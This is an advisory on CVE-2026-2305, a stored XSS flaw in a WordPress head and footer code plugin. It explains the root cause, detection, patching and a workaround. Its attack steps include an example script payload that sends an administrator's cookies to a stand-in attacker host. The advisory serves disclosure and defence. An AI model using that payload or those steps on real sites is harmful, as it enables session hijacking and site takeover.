CVE-2026-2305: AddFunc Head & Footer Code XSS Vulnerability

CVE-2026-2305 Overview

The AddFunc Head & Footer Code plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in all versions up to and including 2.3. This vulnerability exists in the aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code post meta values, which are output without proper sanitization or escaping. While the plugin restricts its own metabox and save handler to administrators via current_user_can('manage_options'), it fails to use register_meta() with an auth_callback to protect these meta keys. This allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts through the WordPress Custom Fields interface.

Critical Impact

Authenticated attackers with low-privilege accounts (Contributor-level) can inject malicious JavaScript that executes when an administrator previews or views the affected post, potentially leading to session hijacking, administrative account compromise, or further site takeover.

Affected Products

• AddFunc Head & Footer Code plugin for WordPress versions up to and including 2.3

Discovery Timeline

• 2026-04-10 - CVE CVE-2026-2305 published to NVD
• 2026-04-13 - Last updated in NVD database

Technical Details for CVE-2026-2305

Vulnerability Analysis

This Stored Cross-Site Scripting vulnerability arises from a common WordPress plugin security oversight: the separation between UI-level access controls and data-level access controls. The plugin properly restricts its custom metabox interface to administrators using current_user_can('manage_options'), but this protection only covers the plugin's own UI. It does not prevent lower-privileged users from manipulating the underlying post meta values through WordPress's native Custom Fields interface.

The core issue is that the plugin outputs the aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code meta values directly into the page without sanitization or escaping. When an attacker with Contributor-level access creates or edits a post using the WordPress Custom Fields interface, they can inject malicious JavaScript payloads into these meta fields. The malicious code then executes in the browser context of any administrator who previews or views that post.

Root Cause

The root cause is the absence of an auth_callback when registering the custom post meta fields using register_meta(). Without this callback, WordPress does not enforce authorization checks when these meta values are modified through alternative interfaces like the Custom Fields UI. Additionally, the plugin fails to sanitize or escape the meta values before outputting them in the HTML head, body, or footer sections of the page. The vulnerable code can be found at lines 63, 74, and 85 of the plugin file.

Attack Vector

The attack requires network access and low-privilege authentication (Contributor-level account). An attacker would:

1. Log into the WordPress site with a Contributor or higher-level account
2. Create or edit a post and access the Custom Fields interface (may need to be enabled in Screen Options)
3. Add a new custom field with the meta key aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code
4. Set the value to a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
5. Save the post as a draft or submit for review
6. When an administrator previews or views the post, the injected script executes in their browser context

This attack does not require any user interaction beyond the administrator viewing the compromised post, which is a normal administrative workflow activity.

Detection Methods for CVE-2026-2305

Indicators of Compromise

• Unexpected or unauthorized values in aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code post meta fields
• Posts created by low-privilege users containing custom field entries for these meta keys
• JavaScript payloads or script tags present in post meta values for these specific keys
• Suspicious outbound connections or cookie exfiltration attempts from administrator browsers

Detection Strategies

• Monitor WordPress database for modifications to post meta entries with keys aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code by non-administrator users
• Implement Web Application Firewall (WAF) rules to detect XSS payloads in form submissions
• Review WordPress audit logs for custom field modifications by Contributor or Author-level accounts
• Deploy browser-based XSS detection tools for administrator sessions

Monitoring Recommendations

• Enable comprehensive WordPress activity logging including post meta changes and user attribution
• Configure alerts for any Custom Fields modifications by users without manage_options capability
• Implement Content Security Policy (CSP) headers to limit script execution sources and detect violations
• Regularly audit installed plugin versions against known vulnerability databases

How to Mitigate CVE-2026-2305

Immediate Actions Required

• Update AddFunc Head & Footer Code plugin to version 2.4 or later immediately
• Audit all existing posts for potentially malicious content in the affected meta fields
• Review user accounts with Contributor-level access or above for suspicious activity
• Consider temporarily restricting the Custom Fields interface to administrators only

Patch Information

The vulnerability has been addressed in version 2.4 of the AddFunc Head & Footer Code plugin. The fix can be reviewed in the WordPress Plugin Version Change Log. For additional vulnerability details, see the Wordfence Vulnerability Report.

Workarounds

• Disable the Custom Fields interface for non-administrator users by removing it from the post editor screen
• Implement custom authorization checks using WordPress filters to prevent meta value modifications by unauthorized users
• Use a security plugin that provides meta field access controls
• Remove the vulnerable plugin entirely if the functionality is not essential

# Configuration example
# Add to wp-config.php or a custom plugin to disable Custom Fields for non-admins
# This is a temporary workaround until the plugin can be updated

# In functions.php or a custom plugin:
# add_action('admin_init', function() {
#     if (!current_user_can('manage_options')) {
#         remove_meta_box('postcustom', 'post', 'normal');
#         remove_meta_box('postcustom', 'page', 'normal');
#     }
# });